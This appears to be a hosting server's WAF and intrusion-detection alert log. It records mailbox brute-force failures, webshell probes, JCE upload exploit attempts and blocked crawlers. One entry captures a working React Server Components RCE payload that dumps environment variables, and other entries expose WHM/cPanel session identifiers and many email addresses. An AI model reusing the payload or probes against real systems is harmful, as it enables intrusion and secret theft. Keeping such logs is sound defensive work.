# incident

plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 77.68.87.67
country_id: 2635167
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/cache.php||SC:/home/ibmctradeflow/public_html/images/images||


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  6 11:49:24 vps dovecot[990385]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.71.26
country_id: 1835841
description:
2026-07-06 11:51:03 dovecot_login authenticator failed for H=([196.189.51.64]) [182.31.71.26]:57487: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-06 11:51:11 dovecot_login authenticator failed for H=([216.16.101.175]) [210.118.224.138]:42465: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-06 11:51:35 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([98.181.137.75]) [221.120.57.125]:58628: 535 Incorrect authentication data (set_id=no-reply)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.118.121
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es35?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-06 11:55:35 dovecot_login authenticator failed for H=([36.141.89.67]) [196.188.187.21]:33942: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-06 11:56:02 dovecot_login authenticator failed for H=([37.151.58.74]) [193.31.200.85]:55022: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 217.217.247.249
country_id: 660013
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/c947fea89737884xdnmxd/fonts/c947fea89737.phps||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 217.217.247.249
country_id: 660013
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/c947fea89737884ywwzbi/fonts/c947fea89737.php7||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-06 11:57:57 dovecot_login authenticator failed for H=([176.36.139.231]) [103.168.57.31]:33678: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 217.217.247.249
country_id: 660013
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/c947fea89737884jokggn/fonts/c947fea89737.php5||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
2026-07-06 11:59:27 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi ([49.124.205.169]) [80.223.192.112]:50712: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-06 11:58:31 dovecot_login authenticator failed for H=([184.178.172.12]) [65.181.79.60]:61523: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-06 12:00:20 dovecot_login authenticator failed for H=([59.127.220.67]) [59.6.72.106]:59707: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.24
country_id: 1668284
description:
2026-07-06 12:03:35 dovecot_login authenticator failed for H=221-120-73-24.emome-ip.hinet.net (111-70-11-78.emome-ip.hinet.net) [221.120.73.24]:39824: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.113.16
country_id: 2077456
description:
2026-07-06 12:04:40 dovecot_login authenticator failed for H=([123.209.113.16]) [123.209.113.16]:36522: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.160
country_id: 99237
description:
2026-07-06 12:04:53 dovecot_login authenticator failed for H=([169.211.232.182]) [65.20.167.160]:54475: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 68.183.186.129
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_COOKIES:initial_path||MV:\"/\"||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-06 12:06:53 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([59.29.219.54]) [87.115.211.6]:42480: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.22.220.121
country_id: 3017382
description:
2026-07-06 12:09:56 dovecot_login authenticator failed for H=([198.8.94.171]) [81.22.220.121]:47164: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.108.161
country_id: 1668284
description:
2026-07-06 12:10:39 dovecot_login authenticator failed for H=110-25-108-161.adsl.fetnet.net ([200.101.227.62]) [110.25.108.161]:57990: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.52.95
country_id: 1269750
description:
2026-07-06 12:10:55 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [59.97.52.95]:43058: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.111.175
country_id: 2635167
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:216.173.111.175||TA:216.173.111.175||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.209.141.149
country_id: 2661886
description:
2026-07-06 12:17:21 dovecot_plain authenticator failed for H=95.209.141.149.bredband.tre.se (beronappy) [95.209.141.149]:50634: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-06 12:17:51 dovecot_login authenticator failed for H=([175.200.178.138]) [220.235.225.112]:54833: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-07-06 12:18:26 dovecot_login authenticator failed for H=([187.93.174.51]) [61.32.68.66]:48244: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.15.210
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:152.232.15.210||TA:152.232.15.210||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.208.233
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:104.253.208.233||TA:104.253.208.233||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-06 12:20:27 dovecot_login authenticator failed for H=([78.36.41.213]) [103.147.248.23]:38396: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.197.31.229
country_id: 3582678
description:
2026-07-06 12:20:43 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [190.197.31.229]:46039: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.172.211.219
country_id: 1861060
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:195.172.211.219||TA:195.172.211.219||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.38.157
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:104.239.38.157||TA:104.239.38.157||


plugin: modsec
rule: 77469916
abuser: 188.253.121.108
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:aslogin-08477fa7a0f905e347eb4f2e6f0b92c5.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.250
country_id: 1269750
description:
2026-07-06 12:24:14 dovecot_login authenticator failed for H=([174.75.211.195]) [122.187.230.250]:44235: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.145.57
country_id: 1733045
description:
2026-07-06 12:25:27 dovecot_login authenticator failed for H=([155.4.209.51]) [49.124.145.57]:38852: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.160.209.29
country_id: 1562822
description:
2026-07-06 12:26:16 dovecot_login authenticator failed for H=(171-100-121-127.static.asianet.co.th) [113.160.209.29]:37106: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-07-06 12:26:22 dovecot_login authenticator failed for H=([20.224.41.181]) [103.142.184.55]:45692: 535 Incorrect authentication data (set_id=no-reply)


plugin: modsec
rule: 77469916
abuser: 188.253.121.108
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:aslogin-5bbb042ba67ea629ff01efaa3b79d883.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 188.253.121.108
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:aslogin-d9559e7ab093c1793a8edc64f7a7a8b1.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.151.88.27
country_id: 6251999
description:
2026-07-06 12:29:26 dovecot_login authenticator failed for H=([199.58.185.11]) [184.151.88.27]:54236: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.254.190.160
country_id: 3865483
description:
2026-07-06 12:29:47 dovecot_login authenticator failed for H=([49.238.215.194]) [128.254.190.160]:49470: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 94.198.41.218
country_id: 2782113
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/images/images/images/images/images/cache.php||SC:/home/idealloanzcom/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-06 12:33:53 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([49.125.201.63]) [148.170.156.248]:55898: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 165.227.194.196
country_id: 6252001
domain: www.arcrealtors.com.au
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid character inside string.\n||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 165.227.194.196
country_id: 6252001
domain: www.arcrealtors.com.au
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.25||T:APACHE||SC:/home/arcrealtorscom/public_html/api||


plugin: modsec
rule: 77093094
abuser: 165.227.194.196
country_id: 6252001
domain: www.arcrealtors.com.au
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('env 2>/dev/null || printenv 2>/dev/null').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/x?out=${encodeURIComponent(res)};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.25.159.170
country_id: 2661886
description:
2026-07-06 12:34:29 dovecot_login authenticator failed for H=81-25-159-170.junet.se ([223.197.146.111]) [81.25.159.170]:56644: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.230
country_id: 1668284
description:
2026-07-06 12:36:14 dovecot_login authenticator failed for H=111-70-23-230.emome-ip.hinet.net ([103.227.64.252]) [111.70.23.230]:37378: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.36.64
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/json.php||SC:/home/idealloanzcom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-06 12:36:38 dovecot_login authenticator failed for H=([124.153.187.49]) [128.185.235.110]:40134: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-06 12:38:18 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [152.70.157.25]:60650: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-06 12:38:40 +0530] info [whostmgrd] 223.181.13.36 NEW root:BGkMtaFVmpjJ_zjo address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-06 12:39:24 +0530] info [cpaneld] 223.181.13.36 NEW futuracarecom:TJrfGO9VVTob4mTx address=223.181.13.36,app=cpaneld,creator=futuracarecom,method=handle_form_login,path=loadsession:futuracarecom:K9TdIxVX5b_Kfcl9,possessed=1,possessor=root


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.14.192.187
country_id: 2464461
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.196.164.39
country_id: 241170
domain: www.kallanigroup.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kallanigroup.com/cache/twojtoolbox/download1jpg_size220x160_bgffffff_fsd2b46dc74106e20ec12e37ef5fe855bd_tr2_p0.png HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 114.10.77.85
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-47.114.10.77.85||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.162
country_id: 337996
description:
2026-07-06 12:48:58 dovecot_login authenticator failed for H=(64-251-149-81.fidnet.com) [196.190.43.162]:51084: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-06 12:51:31 dovecot_login authenticator failed for H=([94.228.240.2]) [210.118.224.138]:52892: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-06 12:51:43 dovecot_login authenticator failed for H=([182.78.69.178]) [182.95.101.182]:46934: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469918
abuser: 1.54.149.212
country_id: 1562822
domain: globalgroupoman.com
name:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)

description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:index.shtml||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.212.245.136
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/globalgroupoman.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-06 12:56:04 dovecot_login authenticator failed for H=([142.54.229.253]) [88.215.1.201]:49092: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-06 12:56:25 dovecot_login authenticator failed for H=([112.109.198.106]) [13.68.214.34]:43332: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-06 12:57:44 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com ([172.191.74.151]) [220.246.47.169]:60151: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-06 12:58:12 dovecot_login authenticator failed for H=([49.125.201.2]) [14.42.47.150]:39090: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.35.70.26
country_id: 248816
description:
2026-07-06 12:59:01 dovecot_login authenticator failed for H=([196.190.180.18]) [212.35.70.26]:53309: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-07-06 12:59:34 dovecot_login authenticator failed for H=([117.216.33.31]) [175.203.199.118]:24700: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-06 13:00:10 dovecot_login authenticator failed for H=([211.63.34.149]) [131.161.184.46]:43972: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">yohoho unblocked 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.181.143.1
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-06 13:05:11 dovecot_login authenticator failed for H=([74.119.147.213]) [149.34.191.39]:42880: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-06 13:04:46 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([98.181.137.75]) [64.207.225.55]:57520: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-06 13:06:37 dovecot_login authenticator failed for H=([119.197.41.174]) [103.130.207.227]:35890: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-06 13:06:59 dovecot_login authenticator failed for H=([58.56.128.190]) [45.82.110.150]:34864: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.210
country_id: 294640
description:
2026-07-06 13:07:24 dovecot_login authenticator failed for H=([186.179.80.12]) [84.111.136.210]:38672: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-06 13:08:23 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [50.188.204.213]:52526: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-06 13:08:43 dovecot_login authenticator failed for H=([142.54.225.52]) [80.233.12.109]:13607: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.168.101.166
country_id: 6252001
description:
2026-07-06 13:09:22 dovecot_login authenticator failed for H=wsip-98-168-101-166.hr.hr.cox.net ([103.112.224.81]) [98.168.101.166]:33062: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.203.130
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/ahsmarine/public_html/wp-content/uploads/2021||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.160.206
country_id: 1269750
description:
2026-07-06 13:09:40 dovecot_login authenticator failed for H=([183.224.160.34]) [125.19.160.206]:53178: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.225.184.236
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/vssl-x-series-drivers?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.181.143.1
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:index.phtml||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.171.220.223
country_id: 3625428
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.43.179.194
country_id: 2510769
description:
2026-07-06 13:11:48 dovecot_login authenticator failed for H=194.red-81-43-179.staticip.rima-tde.net ([184.170.245.145]) [81.43.179.194]:55163: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.clipxvk.com/\">\xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb8\xab\xe0\xb8\xa5\xe0\xb8\xb8\xe0\xb8\x94\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb9\x87\xe0\xb8\x94\xe0\xb8\xab\xe0\xb8\xb5</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.215.26.123
country_id: 934841
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:55968.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d1df295f9146999bf0cc8bb4e4d7b8c82596448||Title:0x1ad1d5ef||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.170.1.244
country_id: 3017382
description:
2026-07-06 13:12:21 dovecot_login authenticator failed for H=176-170-1-244.abo.bbox.fr ([119.196.213.196]) [176.170.1.244]:35070: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.57.227.195
country_id: 1522867
description:
2026-07-06 13:13:10 dovecot_login authenticator failed for H=95.57.227.195.dynamic.telecom.kz ([115.165.216.154]) [95.57.227.195]:57416: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-06 13:13:28 dovecot_login authenticator failed for H=([45.118.49.18]) [121.131.220.152]:57974: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.40.21
country_id: 1282988
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/index.php/industrial-forums/82-ibmc-s-sme-economy-emarketplace-trade-flow-system HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.207
country_id: 1668284
description:
2026-07-06 13:12:41 dovecot_login authenticator failed for H=111-70-32-207.emome-ip.hinet.net ([49.124.149.48]) [111.70.32.207]:45020: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.249.10.17
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/kallanigroup/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-06 13:18:57 dovecot_login authenticator failed for H=(m121-202-138-181.smartone.com) [210.177.143.61]:60346: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.183.125.51
country_id: 798544
description:
2026-07-06 13:19:50 dovecot_login authenticator failed for H=178.183.125.51.mobile.static.t-mobile.pl (ec2-3-72-154-205.eu-central-1.compute.amazonaws.com) [178.183.125.51]:60644: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-06 13:20:04 dovecot_login authenticator failed for H=(93-122-239-57.orangero.net) [62.164.148.87]:60276: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
